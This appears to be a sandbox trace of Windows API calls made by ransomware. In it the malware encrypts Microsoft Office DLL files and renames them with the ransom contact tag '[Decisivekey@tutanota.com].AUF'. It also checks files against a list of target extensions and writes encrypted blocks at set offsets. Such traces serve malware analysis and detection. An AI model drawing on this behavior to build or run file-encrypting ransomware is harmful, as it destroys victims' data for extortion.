[0223.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.012] GetLastError () returned 0x0 [0223.012] ReadFile (in: hFile=0x16c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x4d88, lpOverlapped=0x0) returned 1 [0223.052] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x4d90, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x4d90, lpOverlapped=0x0) returned 1 [0223.054] ReadFile (in: hFile=0x16c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.054] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.054] SetEndOfFile (hFile=0x21c) returned 1 [0223.054] CloseHandle (hObject=0x21c) returned 1 [0223.054] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.054] SetEndOfFile (hFile=0x16c) returned 1 [0223.055] CloseHandle (hObject=0x16c) returned 1 [0223.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.055] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 1 [0223.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.055] lstrlenW (lpString=".doc") returned 4 [0223.055] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.055] lstrlenW (lpString=".docx") returned 5 [0223.055] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0223.055] lstrlenW (lpString=".pdf") returned 4 [0223.055] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.055] lstrlenW (lpString=".xls") returned 4 [0223.055] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.055] lstrlenW (lpString=".xlsx") returned 5 [0223.055] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0223.055] lstrlenW (lpString=".ppt") returned 4 [0223.055] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.055] lstrlenW (lpString=".zip") returned 4 [0223.055] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.055] lstrlenW (lpString=".rar") returned 4 [0223.055] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.055] lstrlenW (lpString=".bz2") returned 4 [0223.056] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.056] lstrlenW (lpString=".7z") returned 3 [0223.056] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString=".dbf") returned 4 [0223.056] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString=".1cd") returned 4 [0223.056] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString=".jpg") returned 4 [0223.056] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString=".doc") returned 4 [0223.056] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.056] lstrlenW (lpString=".docx") returned 5 [0223.056] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0223.056] lstrlenW (lpString=".pdf") returned 4 [0223.056] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.056] lstrlenW (lpString=".xls") returned 4 [0223.056] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.056] lstrlenW (lpString=".xlsx") returned 5 [0223.056] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0223.056] lstrlenW (lpString=".ppt") returned 4 [0223.056] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString=".zip") returned 4 [0223.056] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.056] lstrlenW (lpString=".rar") returned 4 [0223.056] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.056] lstrlenW (lpString=".bz2") returned 4 [0223.056] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.056] lstrlenW (lpString=".7z") returned 3 [0223.056] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString=".dbf") returned 4 [0223.056] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString=".1cd") returned 4 [0223.056] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0223.056] lstrlenW (lpString=".jpg") returned 4 [0223.056] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.056] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.057] lstrlenW (lpString="PJ11OD11.DLL") returned 12 [0223.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.064] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=752552) returned 1 [0223.064] CloseHandle (hObject=0x16c) returned 1 [0223.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 0x20 [0223.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.064] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.064] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0223.087] GetLastError () returned 0x0 [0223.087] ReadFile (in: hFile=0x16c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xb7ba8, lpOverlapped=0x0) returned 1 [0223.136] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xb7bb0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xb7bb0, lpOverlapped=0x0) returned 1 [0223.154] ReadFile (in: hFile=0x16c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.154] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.154] SetEndOfFile (hFile=0x1f0) returned 1 [0223.154] CloseHandle (hObject=0x1f0) returned 1 [0223.154] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.154] SetEndOfFile (hFile=0x16c) returned 1 [0223.160] CloseHandle (hObject=0x16c) returned 1 [0223.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.160] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 1 [0223.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.161] lstrlenW (lpString=".doc") returned 4 [0223.161] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.161] lstrlenW (lpString=".docx") returned 5 [0223.161] lstrcmpiW (lpString1=".docx", lpString2="1.DLL") returned -1 [0223.161] lstrlenW (lpString=".pdf") returned 4 [0223.161] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.161] lstrlenW (lpString=".xls") returned 4 [0223.161] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.161] lstrlenW (lpString=".xlsx") returned 5 [0223.161] lstrcmpiW (lpString1=".xlsx", lpString2="1.DLL") returned -1 [0223.161] lstrlenW (lpString=".ppt") returned 4 [0223.161] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.161] lstrlenW (lpString=".zip") returned 4 [0223.161] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.161] lstrlenW (lpString=".rar") returned 4 [0223.161] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.161] lstrlenW (lpString=".bz2") returned 4 [0223.161] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.161] lstrlenW (lpString=".7z") returned 3 [0223.161] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.161] lstrlenW (lpString=".dbf") returned 4 [0223.161] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.162] lstrlenW (lpString=".1cd") returned 4 [0223.162] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.162] lstrlenW (lpString=".jpg") returned 4 [0223.162] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.162] lstrlenW (lpString=".doc") returned 4 [0223.162] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.162] lstrlenW (lpString=".docx") returned 5 [0223.162] lstrcmpiW (lpString1=".docx", lpString2="1.DLL") returned -1 [0223.162] lstrlenW (lpString=".pdf") returned 4 [0223.162] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.162] lstrlenW (lpString=".xls") returned 4 [0223.162] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.162] lstrlenW (lpString=".xlsx") returned 5 [0223.162] lstrcmpiW (lpString1=".xlsx", lpString2="1.DLL") returned -1 [0223.162] lstrlenW (lpString=".ppt") returned 4 [0223.162] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.162] lstrlenW (lpString=".zip") returned 4 [0223.162] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.162] lstrlenW (lpString=".rar") returned 4 [0223.162] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.162] lstrlenW (lpString=".bz2") returned 4 [0223.162] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.162] lstrlenW (lpString=".7z") returned 3 [0223.162] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.162] lstrlenW (lpString=".dbf") returned 4 [0223.162] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.162] lstrlenW (lpString=".1cd") returned 4 [0223.162] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0223.162] lstrlenW (lpString=".jpg") returned 4 [0223.162] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.163] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.163] lstrlenW (lpString="RICHED20.DLL") returned 12 [0223.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.163] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=1870696) returned 1 [0223.163] CloseHandle (hObject=0x16c) returned 1 [0223.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll")) returned 0x20 [0223.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0223.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.165] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0223.165] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0223.165] ReadFile (in: hFile=0x16c, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.207] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x983cd, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0223.207] ReadFile (in: hFile=0x16c, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.248] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0223.248] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x188b68, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0223.248] ReadFile (in: hFile=0x16c, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.345] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.345] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0223.372] SetEndOfFile (hFile=0x16c) returned 1 [0223.374] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0223.374] WriteFile (in: hFile=0x16c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.375] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x983cd, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0223.375] WriteFile (in: hFile=0x16c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.377] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x188b68, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0223.377] WriteFile (in: hFile=0x16c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.379] CloseHandle (hObject=0x16c) returned 1 [0223.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.379] lstrlenW (lpString=".doc") returned 4 [0223.379] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.379] lstrlenW (lpString=".docx") returned 5 [0223.379] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0223.379] lstrlenW (lpString=".pdf") returned 4 [0223.379] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.379] lstrlenW (lpString=".xls") returned 4 [0223.379] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.379] lstrlenW (lpString=".xlsx") returned 5 [0223.379] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0223.379] lstrlenW (lpString=".ppt") returned 4 [0223.379] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.379] lstrlenW (lpString=".zip") returned 4 [0223.379] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.379] lstrlenW (lpString=".rar") returned 4 [0223.379] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.379] lstrlenW (lpString=".bz2") returned 4 [0223.379] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.379] lstrlenW (lpString=".7z") returned 3 [0223.379] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.379] lstrlenW (lpString=".dbf") returned 4 [0223.379] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.379] lstrlenW (lpString=".1cd") returned 4 [0223.379] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.380] lstrlenW (lpString=".jpg") returned 4 [0223.380] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.380] lstrlenW (lpString=".doc") returned 4 [0223.380] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.380] lstrlenW (lpString=".docx") returned 5 [0223.380] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0223.380] lstrlenW (lpString=".pdf") returned 4 [0223.380] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.380] lstrlenW (lpString=".xls") returned 4 [0223.380] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.380] lstrlenW (lpString=".xlsx") returned 5 [0223.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0223.380] lstrlenW (lpString=".ppt") returned 4 [0223.380] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.380] lstrlenW (lpString=".zip") returned 4 [0223.380] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.380] lstrlenW (lpString=".rar") returned 4 [0223.380] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.380] lstrlenW (lpString=".bz2") returned 4 [0223.380] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.380] lstrlenW (lpString=".7z") returned 3 [0223.380] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.380] lstrlenW (lpString=".dbf") returned 4 [0223.380] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.380] lstrlenW (lpString=".1cd") returned 4 [0223.380] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0223.380] lstrlenW (lpString=".jpg") returned 4 [0223.380] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.380] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.380] lstrlenW (lpString="USP10.DLL") returned 9 [0223.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.528] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=813824) returned 1 [0223.528] CloseHandle (hObject=0x21c) returned 1 [0223.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 0x20 [0223.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 